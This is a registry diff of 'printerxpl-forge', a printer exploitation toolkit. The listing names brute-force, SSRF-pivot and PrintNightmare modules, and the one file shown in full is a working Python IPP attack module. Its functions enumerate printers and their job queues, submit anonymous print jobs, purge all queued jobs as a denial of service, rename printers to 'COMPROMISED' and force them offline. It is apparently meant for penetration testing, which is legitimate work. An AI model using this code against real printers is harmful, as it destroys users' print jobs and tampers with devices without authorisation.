printerxpl-forge 6.2.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- nse/README.md +204 -0
- nse/__init__.py +6 -0
- nse/install_nse.py +412 -0
- nse/lib/printerxpl.lua +238 -0
- nse/scripts/cups-info.nse +74 -0
- nse/scripts/cups-queue-info.nse +43 -0
- nse/scripts/hp-printers-cve-2022-1026.nse +121 -0
- nse/scripts/http-device-mac.nse +107 -0
- nse/scripts/http-hp-ilo-info.nse +121 -0
- nse/scripts/http-info-xerox-enum.nse +101 -0
- nse/scripts/http-vuln-cve2022-1026.nse +158 -0
- nse/scripts/lexmark-config.nse +89 -0
- nse/scripts/pjl-ready-message.nse +106 -0
- nse/scripts/printer-banner.nse +217 -0
- nse/scripts/printer-cups-rce.nse +189 -0
- nse/scripts/printer-cve-detect.nse +279 -0
- nse/scripts/printer-discover.nse +205 -0
- nse/scripts/printer-firmware-exposed.nse +219 -0
- nse/scripts/printer-hp-pjl.nse +192 -0
- nse/scripts/printer-http-ews.nse +293 -0
- nse/scripts/printer-ipp-info.nse +235 -0
- nse/scripts/printer-lexmark-ipp.nse +203 -0
- nse/scripts/printer-passback.nse +204 -0
- nse/scripts/printer-pjl-info.nse +146 -0
- nse/scripts/printer-printnightmare.nse +211 -0
- nse/scripts/printer-snmp-info.nse +176 -0
- nse/scripts/printer-vuln-check.nse +256 -0
- nse/scripts/snmp-device-mac.nse +93 -0
- nse/scripts/snmp-info.nse +146 -0
- nse/scripts/snmp-sysdescr.nse +70 -0
- printerxpl_forge-6.2.0.dist-info/METADATA +919 -0
- printerxpl_forge-6.2.0.dist-info/RECORD +97 -0
- printerxpl_forge-6.2.0.dist-info/WHEEL +5 -0
- printerxpl_forge-6.2.0.dist-info/entry_points.txt +4 -0
- printerxpl_forge-6.2.0.dist-info/licenses/LICENSE +21 -0
- printerxpl_forge-6.2.0.dist-info/top_level.txt +4 -0
- src/assets/fonts/gunplay.pfa +1671 -0
- src/assets/fonts/kshandwrt.pfa +315 -0
- src/assets/fonts/laksoner.pfa +2402 -0
- src/assets/fonts/paintcans.pfa +9699 -0
- src/assets/fonts/stencilod.pfa +4076 -0
- src/assets/fonts/takecover.pfa +26138 -0
- src/assets/fonts/topsecret.pfa +6652 -0
- src/assets/fonts/whoa.pfa +773 -0
- src/assets/mibs/HOST-RESOURCES-MIB +1540 -0
- src/assets/mibs/Printer-MIB +4389 -0
- src/assets/mibs/README.md +9 -0
- src/assets/mibs/SNMPv2-MIB +854 -0
- src/assets/overlays/hacker.eps +596 -0
- src/assets/overlays/smiley.eps +214 -0
- src/assets/overlays/smiley2.eps +240 -0
- src/core/attack_orchestrator.py +1025 -0
- src/core/capabilities.py +323 -0
- src/core/destructive_audit.py +430 -0
- src/core/discovery.py +488 -0
- src/core/osdetect.py +74 -0
- src/core/poly_runner.py +579 -0
- src/core/printer.py +1426 -0
- src/main.py +2134 -0
- src/modules/install_printer.py +318 -0
- src/modules/login_bruteforce.py +852 -0
- src/modules/pcl.py +506 -0
- src/modules/pjl.py +3575 -0
- src/modules/print_job.py +1290 -0
- src/modules/ps.py +1102 -0
- src/payloads/__init__.py +98 -0
- src/payloads/assets/overlays/notice.eps +9 -0
- src/protocols/__init__.py +19 -0
- src/protocols/firmware.py +738 -0
- src/protocols/ipp.py +216 -0
- src/protocols/ipp_attacks.py +609 -0
- src/protocols/lpd.py +141 -0
- src/protocols/network_map.py +1004 -0
- src/protocols/raw.py +173 -0
- src/protocols/smb.py +359 -0
- src/protocols/ssrf_pivot.py +427 -0
- src/protocols/storage.py +587 -0
- src/ui/__init__.py +6 -0
- src/ui/interactive.py +742 -0
- src/ui/spinner.py +112 -0
- src/ui/tables.py +132 -0
- src/utils/banner_grabber.py +852 -0
- src/utils/codebook.py +456 -0
- src/utils/config.py +522 -0
- src/utils/cve_loader.py +158 -0
- src/utils/default_creds.py +134 -0
- src/utils/discovery_online.py +1327 -0
- src/utils/exploit_manager.py +805 -0
- src/utils/fuzzer.py +220 -0
- src/utils/helper.py +732 -0
- src/utils/local_printers.py +307 -0
- src/utils/ml_engine.py +491 -0
- src/utils/operators.py +474 -0
- src/utils/ports.py +234 -0
- src/utils/vuln_scanner.py +823 -0
- src/utils/wordlist_loader.py +412 -0
- src/version.py +36 -0
|
@@ -0,0 +1,609 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# -*- coding: utf-8 -*-
|
|
3
|
+
"""
|
|
4
|
+
PrinterXPL-Forge — IPP Attack Module
|
|
5
|
+
===================================
|
|
6
|
+
Internet Printing Protocol (RFC 2910/2911/8011) attack operations.
|
|
7
|
+
|
|
8
|
+
Targets printers that do NOT support PJL/PS/PCL (inkjets, ESC/P, PWGRaster)
|
|
9
|
+
but DO expose IPP/port 631. This is the primary attack surface for modern
|
|
10
|
+
EPSON, Canon, HP inkjet, and AirPrint-enabled printers.
|
|
11
|
+
|
|
12
|
+
Attack categories:
|
|
13
|
+
1. Information disclosure (printer attrs, jobs, queues)
|
|
14
|
+
2. Anonymous job submission (no authentication required)
|
|
15
|
+
3. Job cancellation / queue purge (DoS)
|
|
16
|
+
4. Printer attribute manipulation (name, location, description)
|
|
17
|
+
5. SSRF via IPP fetch-document / print-by-reference (see ssrf_pivot.py)
|
|
18
|
+
6. Credential brute-force on IPP with HTTP digest
|
|
19
|
+
7. ESC/P-R, PWGRaster, PDF raw job injection
|
|
20
|
+
"""
|
|
21
|
+
|
|
22
|
+
# Author : Andre Henrique (@mrhenrike)
|
|
23
|
+
# GitHub : https://github.com/mrhenrike
|
|
24
|
+
# LinkedIn : https://linkedin.com/in/mrhenrike
|
|
25
|
+
# X/Twitter : https://x.com/mrhenrike
|
|
26
|
+
|
|
27
|
+
from __future__ import annotations
|
|
28
|
+
|
|
29
|
+
import logging
|
|
30
|
+
import re
|
|
31
|
+
import socket
|
|
32
|
+
import struct
|
|
33
|
+
import time
|
|
34
|
+
from typing import Dict, List, Optional, Tuple
|
|
35
|
+
|
|
36
|
+
import requests
|
|
37
|
+
import urllib3
|
|
38
|
+
|
|
39
|
+
urllib3.disable_warnings()
|
|
40
|
+
|
|
41
|
+
_log = logging.getLogger(__name__)
|
|
42
|
+
|
|
43
|
+
# ── IPP helpers ───────────────────────────────────────────────────────────────
|
|
44
|
+
|
|
45
|
+
_REQ_ID = 0
|
|
46
|
+
|
|
47
|
+
|
|
48
|
+
def _next_req_id() -> int:
|
|
49
|
+
global _REQ_ID
|
|
50
|
+
_REQ_ID += 1
|
|
51
|
+
return _REQ_ID
|
|
52
|
+
|
|
53
|
+
|
|
54
|
+
def _attr(tag: int, name: str, value: str | bytes, value_tag: int = None) -> bytes:
|
|
55
|
+
"""Build a raw IPP attribute (name-value pair)."""
|
|
56
|
+
name_b = name.encode('utf-8') if isinstance(name, str) else name
|
|
57
|
+
if isinstance(value, str):
|
|
58
|
+
value_b = value.encode('utf-8')
|
|
59
|
+
vtag = value_tag or 0x44
|
|
60
|
+
elif isinstance(value, int):
|
|
61
|
+
value_b = struct.pack('>i', value)
|
|
62
|
+
vtag = value_tag or 0x21
|
|
63
|
+
else:
|
|
64
|
+
value_b = value
|
|
65
|
+
vtag = value_tag or 0x44
|
|
66
|
+
return (bytes([vtag]) +
|
|
67
|
+
struct.pack('>H', len(name_b)) + name_b +
|
|
68
|
+
struct.pack('>H', len(value_b)) + value_b)
|
|
69
|
+
|
|
70
|
+
|
|
71
|
+
def _build_request(op: int, printer_uri: str, attrs: list[bytes] = None) -> bytes:
|
|
72
|
+
req_id = _next_req_id()
|
|
73
|
+
body = b'\x01\x01' # IPP version 1.1
|
|
74
|
+
body += struct.pack('>H', op) # operation
|
|
75
|
+
body += struct.pack('>I', req_id) # request-id
|
|
76
|
+
body += b'\x01' # operation-attributes-tag
|
|
77
|
+
body += _attr(0x47, 'attributes-charset', 'utf-8')
|
|
78
|
+
body += _attr(0x48, 'attributes-natural-language', 'en')
|
|
79
|
+
body += _attr(0x45, 'printer-uri', printer_uri)
|
|
80
|
+
for a in (attrs or []):
|
|
81
|
+
body += a
|
|
82
|
+
body += b'\x03' # end-of-attributes
|
|
83
|
+
return body
|
|
84
|
+
|
|
85
|
+
|
|
86
|
+
def _post_ipp(
|
|
87
|
+
host: str, port: int, path: str, body: bytes,
|
|
88
|
+
scheme: str = 'https', timeout: float = 10,
|
|
89
|
+
) -> Optional[bytes]:
|
|
90
|
+
"""POST an IPP request and return raw bytes, or None on error."""
|
|
91
|
+
url = f"{scheme}://{host}:{port}{path}"
|
|
92
|
+
try:
|
|
93
|
+
r = requests.post(
|
|
94
|
+
url, data=body,
|
|
95
|
+
headers={'Content-Type': 'application/ipp',
|
|
96
|
+
'Content-Length': str(len(body))},
|
|
97
|
+
timeout=timeout, verify=False,
|
|
98
|
+
)
|
|
99
|
+
if r.status_code in (200, 400): # 400 = IPP error, still valid IPP response
|
|
100
|
+
return r.content
|
|
101
|
+
except Exception as exc:
|
|
102
|
+
_log.debug("IPP POST %s failed: %s", url, exc)
|
|
103
|
+
return None
|
|
104
|
+
|
|
105
|
+
|
|
106
|
+
def _decode_text_attrs(raw: bytes) -> Dict[str, str]:
|
|
107
|
+
"""Extract printable text attributes from raw IPP response bytes."""
|
|
108
|
+
text = raw.decode('latin-1', errors='replace')
|
|
109
|
+
attrs = {}
|
|
110
|
+
for name in ['printer-make-and-model', 'printer-name', 'printer-info',
|
|
111
|
+
'printer-location', 'printer-device-id', 'printer-uuid',
|
|
112
|
+
'printer-firmware-version', 'printer-dns-sd-name',
|
|
113
|
+
'printer-state-reasons', 'printer-more-info',
|
|
114
|
+
'printer-supply-info-uri', 'document-format-supported',
|
|
115
|
+
'queued-job-count', 'printer-up-time', 'printer-state',
|
|
116
|
+
'uri-authentication-supported']:
|
|
117
|
+
idx = text.find(name)
|
|
118
|
+
if idx >= 0:
|
|
119
|
+
chunk = text[idx:idx+200]
|
|
120
|
+
printable = ''.join(c if 32 <= ord(c) < 127 else '·' for c in chunk)
|
|
121
|
+
attrs[name] = printable.split('·', 2)[-1].strip()[:120]
|
|
122
|
+
return attrs
|
|
123
|
+
|
|
124
|
+
|
|
125
|
+
# ── IPP endpoint discovery ────────────────────────────────────────────────────
|
|
126
|
+
|
|
127
|
+
def discover_endpoints(
|
|
128
|
+
host: str, timeout: float = 5,
|
|
129
|
+
) -> List[Dict]:
|
|
130
|
+
"""
|
|
131
|
+
Probe common IPP endpoints and return a list of responsive ones.
|
|
132
|
+
|
|
133
|
+
Returns list of dicts: {scheme, port, path, auth, version}.
|
|
134
|
+
"""
|
|
135
|
+
candidates = [
|
|
136
|
+
('https', 631, '/ipp/print'),
|
|
137
|
+
('https', 631, '/ipp/'),
|
|
138
|
+
('https', 443, '/ipp/print'),
|
|
139
|
+
('http', 631, '/ipp/print'),
|
|
140
|
+
('http', 631, '/ipp/'),
|
|
141
|
+
('http', 80, '/ipp/print'),
|
|
142
|
+
]
|
|
143
|
+
found = []
|
|
144
|
+
for scheme, port, path in candidates:
|
|
145
|
+
printer_uri = f"ipp://{host}{path}"
|
|
146
|
+
body = _build_request(0x000B, printer_uri,
|
|
147
|
+
[_attr(0x44, 'requested-attributes', 'printer-state')])
|
|
148
|
+
resp = _post_ipp(host, port, path, body, scheme=scheme, timeout=timeout)
|
|
149
|
+
if resp and len(resp) > 8:
|
|
150
|
+
auth_info = 'unknown'
|
|
151
|
+
text = resp.decode('latin-1', errors='replace')
|
|
152
|
+
if 'uri-authentication-supported' in text:
|
|
153
|
+
m = re.search(r'uri-authentication-supported(.{0,50})', text)
|
|
154
|
+
if m:
|
|
155
|
+
chunk = ''.join(c if 32 <= ord(c) < 127 else '|' for c in m.group(1))
|
|
156
|
+
if 'none' in chunk.lower():
|
|
157
|
+
auth_info = 'none (anonymous OK)'
|
|
158
|
+
elif 'basic' in chunk.lower():
|
|
159
|
+
auth_info = 'HTTP Basic'
|
|
160
|
+
elif 'digest' in chunk.lower():
|
|
161
|
+
auth_info = 'HTTP Digest'
|
|
162
|
+
elif 'tls' in chunk.lower():
|
|
163
|
+
auth_info = 'TLS client cert'
|
|
164
|
+
found.append({
|
|
165
|
+
'scheme': scheme, 'port': port, 'path': path,
|
|
166
|
+
'auth': auth_info, 'version': f"{resp[0]}.{resp[1]}",
|
|
167
|
+
'uri': f"{scheme}://{host}:{port}{path}",
|
|
168
|
+
})
|
|
169
|
+
break # use first working endpoint
|
|
170
|
+
return found
|
|
171
|
+
|
|
172
|
+
|
|
173
|
+
# ── 1. Information disclosure ─────────────────────────────────────────────────
|
|
174
|
+
|
|
175
|
+
def get_printer_info(
|
|
176
|
+
host: str, port: int = 631, path: str = '/ipp/print',
|
|
177
|
+
scheme: str = 'https', timeout: float = 10,
|
|
178
|
+
) -> Dict[str, str]:
|
|
179
|
+
"""
|
|
180
|
+
Retrieve all printer attributes via IPP Get-Printer-Attributes (op 0x000B).
|
|
181
|
+
|
|
182
|
+
No authentication required on most consumer printers.
|
|
183
|
+
Returns a dict of attribute name → decoded value.
|
|
184
|
+
"""
|
|
185
|
+
printer_uri = f"ipp://{host}{path}"
|
|
186
|
+
body = _build_request(0x000B, printer_uri,
|
|
187
|
+
[_attr(0x44, 'requested-attributes', 'all')])
|
|
188
|
+
resp = _post_ipp(host, port, path, body, scheme=scheme, timeout=timeout)
|
|
189
|
+
if not resp:
|
|
190
|
+
return {}
|
|
191
|
+
attrs = _decode_text_attrs(resp)
|
|
192
|
+
attrs['_raw_size'] = str(len(resp))
|
|
193
|
+
return attrs
|
|
194
|
+
|
|
195
|
+
|
|
196
|
+
def list_jobs(
|
|
197
|
+
host: str, port: int = 631, path: str = '/ipp/print',
|
|
198
|
+
scheme: str = 'https', which: str = 'all', timeout: float = 10,
|
|
199
|
+
) -> List[Dict]:
|
|
200
|
+
"""
|
|
201
|
+
List print jobs via IPP Get-Jobs (op 0x000A).
|
|
202
|
+
|
|
203
|
+
Args:
|
|
204
|
+
which: 'all', 'completed', 'not-completed'
|
|
205
|
+
|
|
206
|
+
Returns list of job dicts.
|
|
207
|
+
"""
|
|
208
|
+
printer_uri = f"ipp://{host}{path}"
|
|
209
|
+
attrs = [
|
|
210
|
+
_attr(0x44, 'requested-attributes', 'all'),
|
|
211
|
+
_attr(0x44, 'which-jobs', which),
|
|
212
|
+
_attr(0x21, 'limit', 50, value_tag=0x21),
|
|
213
|
+
]
|
|
214
|
+
body = _build_request(0x000A, printer_uri, attrs)
|
|
215
|
+
resp = _post_ipp(host, port, path, body, scheme=scheme, timeout=timeout)
|
|
216
|
+
if not resp:
|
|
217
|
+
return []
|
|
218
|
+
|
|
219
|
+
text = resp.decode('latin-1', errors='replace')
|
|
220
|
+
jobs = []
|
|
221
|
+
for m in re.finditer(r'job-name.{0,50}', text):
|
|
222
|
+
chunk = ''.join(c if 32 <= ord(c) < 127 else '|' for c in m.group(0))
|
|
223
|
+
jobs.append({'raw': chunk[:100]})
|
|
224
|
+
return jobs
|
|
225
|
+
|
|
226
|
+
|
|
227
|
+
# ── 2. Anonymous job submission ───────────────────────────────────────────────
|
|
228
|
+
|
|
229
|
+
def _make_raster_page(width: int = 595, height: int = 842) -> bytes:
|
|
230
|
+
"""
|
|
231
|
+
Generate a minimal 1-bit PWG Raster page (blank white).
|
|
232
|
+
|
|
233
|
+
PWG Raster format: https://ftp.pwg.org/pub/pwg/candidates/cs-pwgraster10-20120130.pdf
|
|
234
|
+
"""
|
|
235
|
+
# PWG Raster header
|
|
236
|
+
sync = b'RaS2'
|
|
237
|
+
# Page header (ints are big-endian 4-bytes)
|
|
238
|
+
def i4(n): return struct.pack('>I', n)
|
|
239
|
+
# 256-byte page header
|
|
240
|
+
phdr = b'PwgRaster\x00' # ColorSpace + Magic
|
|
241
|
+
phdr += b'\x00' * (64 - len(phdr)) # padding
|
|
242
|
+
phdr += i4(1) # HWResolutionX
|
|
243
|
+
phdr += i4(1) # HWResolutionY
|
|
244
|
+
phdr += i4(0) # ImagingBoundingBoxLeft
|
|
245
|
+
phdr += i4(0) # ImagingBoundingBoxBottom
|
|
246
|
+
phdr += i4(width) # ImagingBoundingBoxRight
|
|
247
|
+
phdr += i4(height) # ImagingBoundingBoxTop
|
|
248
|
+
phdr = phdr[:256].ljust(256, b'\x00')
|
|
249
|
+
# Pixel data: width pixels per line, height lines, 1-bit = all white
|
|
250
|
+
stride = (width + 7) // 8 # bytes per line
|
|
251
|
+
line = b'\xff' * stride # all white
|
|
252
|
+
pixels = line * height
|
|
253
|
+
return sync + phdr + pixels
|
|
254
|
+
|
|
255
|
+
|
|
256
|
+
def _make_escpr_job(text: str = 'PrinterXPL-Forge') -> bytes:
|
|
257
|
+
"""
|
|
258
|
+
Build a minimal ESC/P-R initialization sequence for EPSON inkjet printers.
|
|
259
|
+
|
|
260
|
+
ESC/P-R is the EPSON proprietary raster language. This sends an empty
|
|
261
|
+
page with a configurable document title embedded in the escape header.
|
|
262
|
+
"""
|
|
263
|
+
esc = b'\x1b'
|
|
264
|
+
init = (
|
|
265
|
+
esc + b'@' # ESC @ — initialize printer
|
|
266
|
+
+ esc + b'(G\x01\x00\x01' # Select graphics mode
|
|
267
|
+
+ esc + b'(R\x08\x00\x00' # Remote mode — job start
|
|
268
|
+
+ text.encode('ascii', 'replace')[:32]
|
|
269
|
+
+ esc + b'(K\x02\x00\x00\x00' # Set color space
|
|
270
|
+
+ esc + b'(S\x08\x00' # Set page size (A4)
|
|
271
|
+
+ struct.pack('<IIH', 595, 842, 0)
|
|
272
|
+
+ b'\x0c' # Form feed (page eject)
|
|
273
|
+
+ esc + b'(R\x08\x00\x01' + b'\x00' * 7 # Remote mode — job end
|
|
274
|
+
)
|
|
275
|
+
return init
|
|
276
|
+
|
|
277
|
+
|
|
278
|
+
def submit_job(
|
|
279
|
+
host: str,
|
|
280
|
+
port: int = 631,
|
|
281
|
+
path: str = '/ipp/print',
|
|
282
|
+
scheme: str = 'https',
|
|
283
|
+
data: bytes = None,
|
|
284
|
+
doc_fmt: str = 'image/pwg-raster',
|
|
285
|
+
job_name: str = 'test-job',
|
|
286
|
+
timeout: float = 15,
|
|
287
|
+
dry_run: bool = True,
|
|
288
|
+
) -> Dict:
|
|
289
|
+
"""
|
|
290
|
+
Submit an anonymous IPP print job.
|
|
291
|
+
|
|
292
|
+
By default dry_run=True (validates that anonymous submission is accepted
|
|
293
|
+
without actually sending the full payload).
|
|
294
|
+
|
|
295
|
+
Args:
|
|
296
|
+
data: Raw print data. If None, a blank PWG-Raster page is used.
|
|
297
|
+
doc_fmt: MIME type of the data (image/pwg-raster, image/urf,
|
|
298
|
+
application/vnd.epson.escpr, application/pdf, etc.)
|
|
299
|
+
dry_run: If True, send only the Create-Job request and validate
|
|
300
|
+
that the server accepts it without credentials.
|
|
301
|
+
|
|
302
|
+
Returns:
|
|
303
|
+
dict with keys: accepted, job_id, status_code, auth_required, message.
|
|
304
|
+
"""
|
|
305
|
+
printer_uri = f"ipp://{host}{path}"
|
|
306
|
+
result = {
|
|
307
|
+
'accepted': False, 'job_id': None,
|
|
308
|
+
'status_code': None, 'auth_required': False, 'message': '',
|
|
309
|
+
}
|
|
310
|
+
|
|
311
|
+
# Step 1: Create-Job (op 0x0005) — test anonymous acceptance
|
|
312
|
+
attrs = [
|
|
313
|
+
_attr(0x42, 'job-name', job_name, value_tag=0x42),
|
|
314
|
+
_attr(0x44, 'job-priority', '', value_tag=0x21),
|
|
315
|
+
]
|
|
316
|
+
body = _build_request(0x0005, printer_uri, attrs)
|
|
317
|
+
resp = _post_ipp(host, port, path, body, scheme=scheme, timeout=timeout)
|
|
318
|
+
if not resp or len(resp) < 8:
|
|
319
|
+
result['message'] = 'No response to Create-Job'
|
|
320
|
+
return result
|
|
321
|
+
|
|
322
|
+
status = struct.unpack('>H', resp[2:4])[0]
|
|
323
|
+
result['status_code'] = status
|
|
324
|
+
|
|
325
|
+
if status in (0x0401, 0x0403):
|
|
326
|
+
result['auth_required'] = True
|
|
327
|
+
result['message'] = 'Authentication required (client-error-forbidden)'
|
|
328
|
+
return result
|
|
329
|
+
if status & 0x0400:
|
|
330
|
+
result['message'] = f'IPP error: 0x{status:04x}'
|
|
331
|
+
return result
|
|
332
|
+
|
|
333
|
+
# Extract job-id from response
|
|
334
|
+
text = resp.decode('latin-1', errors='replace')
|
|
335
|
+
m = re.search(r'job-id.(.{1,8})', text)
|
|
336
|
+
if m:
|
|
337
|
+
# job-id is a 4-byte integer after the attribute name
|
|
338
|
+
chunk = resp[resp.find(b'job-id') + 6: resp.find(b'job-id') + 20]
|
|
339
|
+
if len(chunk) >= 6:
|
|
340
|
+
try:
|
|
341
|
+
result['job_id'] = struct.unpack('>i', chunk[2:6])[0]
|
|
342
|
+
except Exception:
|
|
343
|
+
result['job_id'] = '?'
|
|
344
|
+
|
|
345
|
+
result['accepted'] = True
|
|
346
|
+
result['message'] = (
|
|
347
|
+
f"Create-Job accepted (status=0x{status:04x}, job_id={result['job_id']})"
|
|
348
|
+
)
|
|
349
|
+
|
|
350
|
+
if dry_run:
|
|
351
|
+
# Step 2 (dry run): Cancel the job immediately to not waste paper
|
|
352
|
+
if result['job_id'] and isinstance(result['job_id'], int):
|
|
353
|
+
_cancel_job(host, port, path, scheme, result['job_id'], printer_uri, timeout)
|
|
354
|
+
result['message'] += ' [dry-run: job cancelled]'
|
|
355
|
+
return result
|
|
356
|
+
|
|
357
|
+
# Step 2 (full): Send-Document (op 0x0006)
|
|
358
|
+
if data is None:
|
|
359
|
+
data = _make_raster_page()
|
|
360
|
+
|
|
361
|
+
send_attrs = [
|
|
362
|
+
_attr(0x45, 'printer-uri', printer_uri),
|
|
363
|
+
_attr(0x21, 'job-id', result['job_id'], value_tag=0x21) if isinstance(result['job_id'], int) else b'',
|
|
364
|
+
_attr(0x44, 'document-format', doc_fmt),
|
|
365
|
+
_attr(0x42, 'document-name', job_name, value_tag=0x42),
|
|
366
|
+
_attr(0x22, 'last-document', b'\x01', value_tag=0x22),
|
|
367
|
+
]
|
|
368
|
+
|
|
369
|
+
req_id = _next_req_id()
|
|
370
|
+
send_body = b'\x01\x01'
|
|
371
|
+
send_body += struct.pack('>H', 0x0006)
|
|
372
|
+
send_body += struct.pack('>I', req_id)
|
|
373
|
+
send_body += b'\x01'
|
|
374
|
+
for a in send_attrs:
|
|
375
|
+
if a:
|
|
376
|
+
send_body += a
|
|
377
|
+
send_body += b'\x03'
|
|
378
|
+
send_body += data
|
|
379
|
+
|
|
380
|
+
resp2 = _post_ipp(host, port, path, send_body, scheme=scheme, timeout=timeout)
|
|
381
|
+
if resp2:
|
|
382
|
+
s2 = struct.unpack('>H', resp2[2:4])[0]
|
|
383
|
+
result['message'] += f' | Send-Document status=0x{s2:04x}'
|
|
384
|
+
return result
|
|
385
|
+
|
|
386
|
+
|
|
387
|
+
# ── 3. Job cancellation / queue purge ─────────────────────────────────────────
|
|
388
|
+
|
|
389
|
+
def _cancel_job(
|
|
390
|
+
host: str, port: int, path: str, scheme: str,
|
|
391
|
+
job_id: int, printer_uri: str, timeout: float,
|
|
392
|
+
) -> bool:
|
|
393
|
+
"""Cancel a specific job by ID."""
|
|
394
|
+
attrs = [_attr(0x21, 'job-id', job_id, value_tag=0x21)]
|
|
395
|
+
body = _build_request(0x0008, printer_uri, attrs)
|
|
396
|
+
resp = _post_ipp(host, port, path, body, scheme=scheme, timeout=timeout)
|
|
397
|
+
if resp:
|
|
398
|
+
status = struct.unpack('>H', resp[2:4])[0]
|
|
399
|
+
return status == 0x0000
|
|
400
|
+
return False
|
|
401
|
+
|
|
402
|
+
|
|
403
|
+
def purge_all_jobs(
|
|
404
|
+
host: str,
|
|
405
|
+
port: int = 631,
|
|
406
|
+
path: str = '/ipp/print',
|
|
407
|
+
scheme: str = 'https',
|
|
408
|
+
timeout:float = 10,
|
|
409
|
+
) -> Dict:
|
|
410
|
+
"""
|
|
411
|
+
Send IPP Purge-Jobs (op 0x0012) to clear all queued/held jobs.
|
|
412
|
+
|
|
413
|
+
This is a DoS vector — all pending print jobs are lost.
|
|
414
|
+
Returns dict with status and number of jobs cancelled.
|
|
415
|
+
"""
|
|
416
|
+
printer_uri = f"ipp://{host}{path}"
|
|
417
|
+
body = _build_request(0x0012, printer_uri)
|
|
418
|
+
resp = _post_ipp(host, port, path, body, scheme=scheme, timeout=timeout)
|
|
419
|
+
if not resp:
|
|
420
|
+
return {'success': False, 'message': 'No response'}
|
|
421
|
+
status = struct.unpack('>H', resp[2:4])[0]
|
|
422
|
+
return {
|
|
423
|
+
'success': status == 0x0000,
|
|
424
|
+
'status_code': f'0x{status:04x}',
|
|
425
|
+
'message': 'Queue purged' if status == 0x0000 else f'Error 0x{status:04x}',
|
|
426
|
+
}
|
|
427
|
+
|
|
428
|
+
|
|
429
|
+
def cancel_all_active(
|
|
430
|
+
host: str, port: int = 631, path: str = '/ipp/print',
|
|
431
|
+
scheme: str = 'https', timeout: float = 10,
|
|
432
|
+
) -> List[int]:
|
|
433
|
+
"""
|
|
434
|
+
List active jobs and cancel each one (fallback for printers without Purge-Jobs).
|
|
435
|
+
|
|
436
|
+
Returns list of cancelled job IDs.
|
|
437
|
+
"""
|
|
438
|
+
jobs = list_jobs(host, port, path, scheme, 'not-completed', timeout)
|
|
439
|
+
cancelled = []
|
|
440
|
+
printer_uri = f"ipp://{host}{path}"
|
|
441
|
+
for job in jobs:
|
|
442
|
+
jid = job.get('id')
|
|
443
|
+
if jid and _cancel_job(host, port, path, scheme, jid, printer_uri, timeout):
|
|
444
|
+
cancelled.append(jid)
|
|
445
|
+
return cancelled
|
|
446
|
+
|
|
447
|
+
|
|
448
|
+
# ── 4. Printer attribute manipulation ────────────────────────────────────────
|
|
449
|
+
|
|
450
|
+
def set_printer_name(
|
|
451
|
+
host: str,
|
|
452
|
+
name: str,
|
|
453
|
+
port: int = 631,
|
|
454
|
+
path: str = '/ipp/print',
|
|
455
|
+
scheme: str = 'https',
|
|
456
|
+
timeout: float = 10,
|
|
457
|
+
) -> bool:
|
|
458
|
+
"""
|
|
459
|
+
Attempt to rename the printer via CUPS Set-Printer-Attributes.
|
|
460
|
+
|
|
461
|
+
Only works if the printer has no authentication or uses CUPS without auth.
|
|
462
|
+
On success, the printer's bonjour/IPP name changes network-wide.
|
|
463
|
+
"""
|
|
464
|
+
printer_uri = f"ipp://{host}{path}"
|
|
465
|
+
attrs = [
|
|
466
|
+
_attr(0x42, 'printer-name', name, value_tag=0x42),
|
|
467
|
+
_attr(0x42, 'printer-info', name, value_tag=0x42),
|
|
468
|
+
_attr(0x42, 'printer-location', 'COMPROMISED', value_tag=0x42),
|
|
469
|
+
]
|
|
470
|
+
body = _build_request(0x0022, printer_uri, attrs)
|
|
471
|
+
resp = _post_ipp(host, port, path, body, scheme=scheme, timeout=timeout)
|
|
472
|
+
if resp:
|
|
473
|
+
status = struct.unpack('>H', resp[2:4])[0]
|
|
474
|
+
return status == 0x0000
|
|
475
|
+
return False
|
|
476
|
+
|
|
477
|
+
|
|
478
|
+
def set_printer_sleep(
|
|
479
|
+
host: str, port: int = 631, path: str = '/ipp/print',
|
|
480
|
+
scheme: str = 'https', timeout: float = 10,
|
|
481
|
+
) -> bool:
|
|
482
|
+
"""Send Deactivate-Printer (op 0x001A) to force the printer offline."""
|
|
483
|
+
printer_uri = f"ipp://{host}{path}"
|
|
484
|
+
body = _build_request(0x001A, printer_uri)
|
|
485
|
+
resp = _post_ipp(host, port, path, body, scheme=scheme, timeout=timeout)
|
|
486
|
+
if resp:
|
|
487
|
+
return struct.unpack('>H', resp[2:4])[0] == 0x0000
|
|
488
|
+
return False
|
|
489
|
+
|
|
490
|
+
|
|
491
|
+
# ── 5. Identify / flash attack (IPP 2.0) ─────────────────────────────────────
|
|
492
|
+
|
|
493
|
+
def identify_printer(
|
|
494
|
+
host: str, port: int = 631, path: str = '/ipp/print',
|
|
495
|
+
scheme: str = 'https', timeout: float = 10,
|
|
496
|
+
action: str = 'flash',
|
|
497
|
+
) -> bool:
|
|
498
|
+
"""
|
|
499
|
+
Send IPP Identify-Printer (op 0x003C, IPP v2.0) to flash the printer display/LED.
|
|
500
|
+
|
|
501
|
+
Can be used to physically locate/distract a printer during a pentest.
|
|
502
|
+
Supported actions: 'flash', 'sound', 'display'.
|
|
503
|
+
"""
|
|
504
|
+
printer_uri = f"ipp://{host}{path}"
|
|
505
|
+
attrs = [_attr(0x44, 'identify-actions', action)]
|
|
506
|
+
body = _build_request(0x003C, printer_uri, attrs)
|
|
507
|
+
resp = _post_ipp(host, port, path, body, scheme=scheme, timeout=timeout)
|
|
508
|
+
if resp:
|
|
509
|
+
return struct.unpack('>H', resp[2:4])[0] == 0x0000
|
|
510
|
+
return False
|
|
511
|
+
|
|
512
|
+
|
|
513
|
+
# ── 6. Full IPP audit ─────────────────────────────────────────────────────────
|
|
514
|
+
|
|
515
|
+
def audit(
|
|
516
|
+
host: str,
|
|
517
|
+
timeout: float = 10,
|
|
518
|
+
verbose: bool = True,
|
|
519
|
+
) -> Dict:
|
|
520
|
+
"""
|
|
521
|
+
Run a comprehensive IPP security audit on *host*.
|
|
522
|
+
|
|
523
|
+
Tests: endpoint discovery, anonymous job acceptance, queue listing,
|
|
524
|
+
job cancellation (dry), printer renaming (dry), Purge-Jobs capability.
|
|
525
|
+
|
|
526
|
+
Returns a structured dict with findings.
|
|
527
|
+
"""
|
|
528
|
+
results = {
|
|
529
|
+
'host': host,
|
|
530
|
+
'endpoints': [],
|
|
531
|
+
'printer_info': {},
|
|
532
|
+
'jobs': [],
|
|
533
|
+
'anon_print': None,
|
|
534
|
+
'can_purge': None,
|
|
535
|
+
'can_rename': None,
|
